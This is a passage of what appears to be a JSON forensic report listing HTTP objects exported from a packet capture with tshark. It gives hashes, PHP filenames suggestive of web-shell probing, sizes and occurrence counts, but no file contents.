          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 25,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "0fe0df3bf2cc6488efe244ff2f28d26a",
        "sha1": "be7dab41772ba90646d9ed19d064966614ce5e6a",
        "type": "http-exported-object",
        "sha256": "fa93c862accf27f008bdc88f5621a8cd682f07c664a536a3fdd209ce55c3845f",
        "evidence": [],
        "filename": "cxfm666.php",
        "filenames": [
          "cxfm666.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 25,
        "artifact_id": "artifact-d09ecc18a4d67285af622ae0",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 25,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "408a966c3efb5a886a12a78c0875b251",
        "sha1": "0359d0b54af08175272382a59a4c3216ed9f1a70",
        "type": "http-exported-object",
        "sha256": "fcb9c5e6294ada43b98743ebcf2b19f76797de2cccf3571638fa8522dd5af218",
        "evidence": [],
        "filename": "meng.php",
        "filenames": [
          "meng.php",
          "xiaobin.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 25,
        "artifact_id": "artifact-aad0380d28f99737e2616ab4",
        "occurrences": 2,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 25,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "4766042835fcbc5a770bf875d16e7ac3",
        "sha1": "be02d2fad59436546ce7ba8858beafe980126c56",
        "type": "http-exported-object",
        "sha256": "207029dc899d5175df605dd25e4d60af77b5bf2b5bf75eaa951b0fca7615cd20",
        "evidence": [],
        "filename": "yao.php",
        "filenames": [
          "yao.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 24,
        "artifact_id": "artifact-b2a31319bda3727ee632da46",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 24,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "3f4263df8765657dea691b6eb9be2b95",
        "sha1": "e66b7ff1bf13d9cde5e68caa3943ca893f97e6a4",
        "type": "http-exported-object",
        "sha256": "232a8b0a5755ac6497c68ab10572b17d4318b1e01961bbad679b0061d3ad60d0",
        "evidence": [],
        "filename": "api.php",
        "filenames": [
          "api.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 24,
        "artifact_id": "artifact-251e19db5144abe8241c6899",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 24,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "ee79c45227a995d03e7c725646b1111c",
        "sha1": "2b55c29ab07288c2d4185b0f31833a23dc5fa565",
        "type": "http-exported-object",
        "sha256": "48ed77af7b3153860c46cb5fe6235e7c40d373d8cf735dd43115af97c2a8cbf1",
        "evidence": [],
        "filename": "pass.php",
        "filenames": [
          "pass.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 24,
        "artifact_id": "artifact-1ae03c12a942134cbdc3433a",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 24,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "820bf64b6fd0e6e9a7c38cd058caaa35",
        "sha1": "f46d09a5713b1825ee62787d939a1233197fa01b",
        "type": "http-exported-object",
        "sha256": "493b4ab19faeb49509e1a9b730e3f970e311445cf1e18bbd8712ff971b2d3a78",
        "evidence": [],
        "filename": "123.php",
        "filenames": [
          "123.php",
          "1234.php",
          "666.php",
          "HX.php",
          "gotemp.php",
          "indexl.php",
          "tools(2).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 24,
        "artifact_id": "artifact-a49c701f3b3b21e4a3fe6ea4",
        "occurrences": 7,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 24,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "a6175969c055df9ee04ceb54ba2d9700",
        "sha1": "9a8b2dbc3eef30d37a5359af28a9d2217f437ace",
        "type": "http-exported-object",
        "sha256": "57133fb0fb0b2dcd1b8c9543e3fc99518ce84426d286c9cd72085b43b5d8759b",
        "evidence": [],
        "filename": "orange.php",
        "filenames": [
          "orange.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 24,
        "artifact_id": "artifact-ca8f1d093317c1b2e6ea158a",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 24,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "ee65c05e78fa7bd3fc78424b492a451e",
        "sha1": "9fc82e4b6e56df74c6f33e50f128f827d0065d7e",
        "type": "http-exported-object",
        "sha256": "57a6db8da84404a4fc276685b85b3ed3f6bfa2b62cc9e98c2fe62734d78f6444",
        "evidence": [],
        "filename": "7.php",
        "filenames": [
          "7.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 24,
        "artifact_id": "artifact-36b35e51610efd15758779f2",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 24,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "0438c99b49e602fe907288420b4cb8dc",
        "sha1": "171a7f60e8af5ba0c87c6269ca9b94ee93ccfb2a",
        "type": "http-exported-object",
        "sha256": "82994434e3b31cf661606a76d8732bc8b567d25fccaa97fd73d5e13c6d8bc1e1",
        "evidence": [],
        "filename": "chaoda.php",
        "filenames": [
          "chaoda.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 24,
        "artifact_id": "artifact-e4aeacd631f578cd77160d7b",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 24,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "7542502975f12425fea7ed5cb25bdee8",
        "sha1": "083b2bce8863eb594af2d1011f56142bf6d642b1",
        "type": "http-exported-object",
        "sha256": "ab24a7d0f6d293a538d088347209b218985e62951711ec053d6df628ee3ea9ab",
        "evidence": [],
        "filename": "repeat.php",
        "filenames": [
          "repeat.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 24,
        "artifact_id": "artifact-a53271a9cf2d80def628fbc0",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 24,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "38b6df3592cebc5ff76001f6d9561b19",
        "sha1": "5b64ba0eccdaf9ef525e9c82f0899326fa8b9be0",
        "type": "http-exported-object",
        "sha256": "c167ff44fed14c30dd6e0fee4907bafec8f7cd21b99f2b2171c0c524a2e68aba",
        "evidence": [],
        "filename": "qq5262.php",
        "filenames": [
          "qq5262.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 24,
        "artifact_id": "artifact-73ac7e9ea23a9de5608fb7c6",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 24,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "96e35a02c416fd50d66e628079f817a9",
        "sha1": "24f07d18ec1f491904c8277aace43db616b33c72",
        "type": "http-exported-object",
        "sha256": "c3e6f10a64140a912b9157eec7deacf0197307bb7503dc7247a75cb8d3693084",
        "evidence": [],
        "filename": "godkey.php",
        "filenames": [
          "godkey.php",
          "okokok.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 24,
        "artifact_id": "artifact-0755e7432857f1594d1d18a9",
        "occurrences": 2,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 24,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "7ba954fab263f7e3e3d53413151e8d7a",
        "sha1": "3a942cbf53e32d304618a7600ff896a550ca7b8f",
        "type": "http-exported-object",
        "sha256": "df536ceea712fce0cbd5c6ab4d5bd03f0da47e297d366e7d8b94587049f60e8f",
        "evidence": [],
        "filename": "caonma.php",
        "filenames": [
          "caonma.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 24,
        "artifact_id": "artifact-0f11389db572e2828ed22f1a",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 24,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "fe29e42c30f8c89700ba802d4384db4a",
        "sha1": "0df85efd21d7553e0d25d0fa4d92b9b1429a3bbe",
        "type": "http-exported-object",
        "sha256": "f4bdfe1a51f53263d3692ca20b33dbb8b42d23b3bc846058792ce6f3aa7042c2",
        "evidence": [],
        "filename": "defect.php",
        "filenames": [
          "defect.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 24,
        "artifact_id": "artifact-53e8983393184120d1f02299",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 24,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "e83dd785f4583bce4baae4746c84ef10",
        "sha1": "564a084816b223a044790f1582eb074f8e48f04f",
        "type": "http-exported-object",
        "sha256": "f6b92f8e7a0f2820215864ea67ef68a73dfd4a8aa7c71a3c86237ea8120cad4c",
        "evidence": [],
        "filename": "lindex.php",
        "filenames": [
          "lindex.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 24,
        "artifact_id": "artifact-b0ec73fcb6309ea194a156e2",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 24,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "24890b3d45a0921edc91a7b09751df1b",
        "sha1": "1e2bd02f20cb9de852a88c735d60ba8df970c0f3",
        "type": "http-exported-object",
        "sha256": "fbc1d599972304c52bdbbb4031ec773d49f676a86c858b0720729543d7de16f0",
        "evidence": [],
        "filename": "conflg.php",
        "filenames": [
          "conflg.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 24,
        "artifact_id": "artifact-15a5b333bbc9c5c386401f4a",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 24,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "6a819f3f2674f409845f0f7efc9ff739",
        "sha1": "4c463c7973a9a635e51ff77eae7c9d0ce9999ece",
        "type": "http-exported-object",
        "sha256": "0947a7a5cd606f9fbc01a6f8a68689b719f4b593cc02fc15ecaaa4c5d087c54e",
        "evidence": [],
        "filename": "test(4).php",
        "filenames": [
          "test(4).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-31a49ef90928fdc655fd1dc4",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "d878933dccc40c41ae20c2c4b29ed441",
        "sha1": "8b765a59fadd15d421aeab163c6cd67f5c546be5",
        "type": "http-exported-object",
        "sha256": "0ac1505747d95c61631db1420f88e990d4001c411407e85f6fe76880ed6401f3",
        "evidence": [],
        "filename": "linkx.php",
        "filenames": [
          "linkx.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-f68360a7d5d4d911eac7a833",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "fca47c0d08a16a7539ec6d3dfbdf1b47",
        "sha1": "c80229566090eda49526579d6eec4f59a43a7017",
        "type": "http-exported-object",
        "sha256": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
        "evidence": [],
        "filename": "1(8).php",
        "filenames": [
          "1(8).php",
          "CC.php",
          "CCC.PHP",
          "CCCC.PHP",
          "Login.php",
          "a(2).php",
          "admn.php",
          "conf(2).php",
          "g.php",
          "hello(2).php",
          "m.php",
          "mazi.php",
          "mobai.PHP",
          "phpini.php",
          "ss(2).php",
          "sss(2).php",
          "xxx.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-2436957cccc57ee53575d780",
        "occurrences": 17,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "855b1f4889860a292eb42dd3193458b9",
        "sha1": "279f785845b2d5edcb1e5e443c12dac9868778d6",
        "type": "http-exported-object",
        "sha256": "25f77a89d80029b8735f7a5dddbf7e69ab27fdf998cec485ef02e14d67720ae6",
        "evidence": [],
        "filename": "indax.php",
        "filenames": [
          "indax.php",
          "t00ls.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-9cf554abcb4fdd393bf3af0c",
        "occurrences": 2,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "c1b8077e66d62a192c4f0241c2f9a33e",
        "sha1": "e18d45329f388a74549f7ef4eeafdf494f1a04e0",
        "type": "http-exported-object",
        "sha256": "2de5f6ac384ba39120f56ba6ed59c706c4a52d96fc5123575ed7fe0ec9c8f1a2",
        "evidence": [],
        "filename": "ppp(2).php",
        "filenames": [
          "ppp(2).php",
          "ssaa(2).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-171175111383e91f0afbf741",
        "occurrences": 2,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "ba4eda9633c483d9355f9d042265021e",
        "sha1": "ff491087a3ef2ba0526343c74dd67540c79cfa4b",
        "type": "http-exported-object",
        "sha256": "3fd00b82d4e7698a68bcbf4d94505a71aad3fa59a9600cdff34afc868b70c025",
        "evidence": [],
        "filename": "angge.php",
        "filenames": [
          "angge.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-71ab3b515037e25eaa2fe779",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "542ebb68e3cbbc2b5cf332c48f176b6c",
        "sha1": "d2d6fc4dd06f500b506ab5aaa2a41e43db5b1838",
        "type": "http-exported-object",
        "sha256": "47aea2244a844301999c7261c840ccd94d4d2c8adad8642d8f59f897ffb34113",
        "evidence": [],
        "filename": "ldw.php",
        "filenames": [
          "ldw.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-5a62de25e6d1a171eb16eb76",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "9831d1a89561a7129719be4ed17ee498",
        "sha1": "2f9ba2097f839dd33575293f45ce015cabd626c4",
        "type": "http-exported-object",
        "sha256": "4b13c2f7340c63af42a5d62915fbc6aa10bf0f1530d751f6369f5132209ef055",
        "evidence": [],
        "filename": "min.php",
        "filenames": [
          "min.php",
          "wan.php",
          "wanan.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-a32b67e8f71a2916d771c41c",
        "occurrences": 3,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "a4b62315ec772b039526bd78b5b56a5c",
        "sha1": "de119847e8721196e2af264f02d6efebbe010469",
        "type": "http-exported-object",
        "sha256": "4c3eee1d3a323e28500ee14a899fd43b2b24b3424ee69f3962a84c912f26bfa7",
        "evidence": [],
        "filename": "lanke.php",
        "filenames": [
          "lanke.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-a73986d905c8e66744b43545",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "f7f7518527f77b982169208a945f3a76",
        "sha1": "28c58015a01358cf5fae75cac0aff93b5ae2ff6d",
        "type": "http-exported-object",
        "sha256": "64be87fe9aff766bc913c9a9206848681460a9783a56f61cb3e708ae6ed1d0a8",
        "evidence": [],
        "filename": "qaz.php",
        "filenames": [
          "qaz.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-1a9f61c7669a6a83af63fc08",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "2ec18cfd2d369577840c017742b1254c",
        "sha1": "203ced0cfa62603a124824f24d2d1372d176f9c8",
        "type": "http-exported-object",
        "sha256": "6b269e52837eaa9fc3463f4c6b02e01a3f0740e7e1a877954a4901da1bea9c6c",
        "evidence": [],
        "filename": "logo.php",
        "filenames": [
          "logo.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-72ebfea82acec83c08bb3f8f",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "7bfdb4e0b7a83f2da7d7f692703740a4",
        "sha1": "249e651d8ec2439bc5e1e58aa4319dc07ea3a3fb",
        "type": "http-exported-object",
        "sha256": "6d8c2fe47cd2be5738d9bd4e50456d2f743a4f5918031859ba2546cfece0d65c",
        "evidence": [],
        "filename": "nuoxi.php",
        "filenames": [
          "nuoxi.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-de5284febb30f870a69f667f",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "f23e0c2ed736c9f81580ed02010c941b",
        "sha1": "f817f7d56b99c330b67df8a5e23a00c87657c7b1",
        "type": "http-exported-object",
        "sha256": "6e272c07a820262e6295153f071985aac74fbc68736d3e1f95a76dbb34999f45",
        "evidence": [],
        "filename": "super.php",
        "filenames": [
          "super.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-5e865d74ef6beba8d7dbe421",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "e74c9086a4ed6d793ab7492e7bb2c09b",
        "sha1": "aadc60117d0f6014219bc47dc4b26848e4b65c28",
        "type": "http-exported-object",
        "sha256": "797895866e42e3c8163115d238a95ea7363cc682cd66ce597c67cf90c4954d1a",
        "evidence": [],
        "filename": "kvast.php",
        "filenames": [
          "kvast.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-151072eaf6e54e472ffb3f2a",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "56488b0c6189ac55a2a00a1b8042d60d",
        "sha1": "918f82669bd5f8bf9e2296bac9f26fd361f80308",
        "type": "http-exported-object",
        "sha256": "7f30439fcfcae9644fbfc0dd83715215305d36ba87ae4a7e8e08651495980ef2",
        "evidence": [],
        "filename": "shell(4).php",
        "filenames": [
          "shell(4).php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-f7ed0ac58c45431fff1dfb37",
        "occurrences": 1,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "d0b0c985484b6a5e166400c55dc02998",
        "sha1": "a29dbfe3c7a3c8d6655a0bf33b1d3321752d40b0",
        "type": "http-exported-object",
        "sha256": "8080b02949fe6bf56a51b1bc0df1dce317643e7da34b4ff1ef91037adea96571",
        "evidence": [],
        "filename": "linux.php",
        "filenames": [
          "linux.php",
          "linux1.php"
        ],
        "transfers": [],
        "hash_scope": "exact exported bytes; may be partial or content-decoded, not necessarily the original server file",
        "media_type": "application/octet-stream",
        "size_bytes": 23,
        "artifact_id": "artifact-8c8f4db40f6055850b3146c3",
        "occurrences": 2,
        "completeness": "unknown",
        "static_features": {
          "pe_kind": null,
          "features": [],
          "content_kind": "unclassified",
          "interpretation": "Static content only; not proof of execution, intent, or malware family",
          "inspected_bytes": 23,
          "inspection_truncated": false
        },
        "extraction_method": "tshark-http-export-objects",
        "transfers_truncated": false,
        "content_retained_by_analyzer": false
      },
      {
        "md5": "611086efa725273470cf552fc0f04487",
